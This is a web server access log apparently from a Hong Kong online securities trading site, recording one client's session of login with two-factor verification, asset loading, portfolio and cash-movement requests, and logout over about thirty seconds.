[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767949188633 HTTP/1.1" 3188
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:16:55:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:16:55:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 415
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:16:55:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767949202921 HTTP/1.1" 3188
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 125
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 287
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:55:33 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:55:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:55:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 213
[09/Jan/2026:16:55:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:55:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:16:55:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:55:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:55:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:55:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:16:55:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:55:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:16:55:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:16:55:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:55:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13506?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767949205484 HTTP/1.1" -
[09/Jan/2026:16:55:35 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 765
[09/Jan/2026:16:55:40 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13506?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767949210510 HTTP/1.1" -
[09/Jan/2026:16:55:41 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:55:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:16:55:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CashMovement HTTP/1.1" 518
[09/Jan/2026:16:55:42 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_glass_75_e6e6e6_1x400.png HTTP/1.1" 262
[09/Jan/2026:16:55:45 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13506?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767949215526 HTTP/1.1" -
[09/Jan/2026:16:55:46 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:16:55:46 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:55:46 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 764
[09/Jan/2026:16:55:49 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/LogoutAA.jsp HTTP/1.1" 12
[09/Jan/2026:16:55:49 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:55:49 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Logout HTTP/1.1" 1
[09/Jan/2026:16:55:49 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
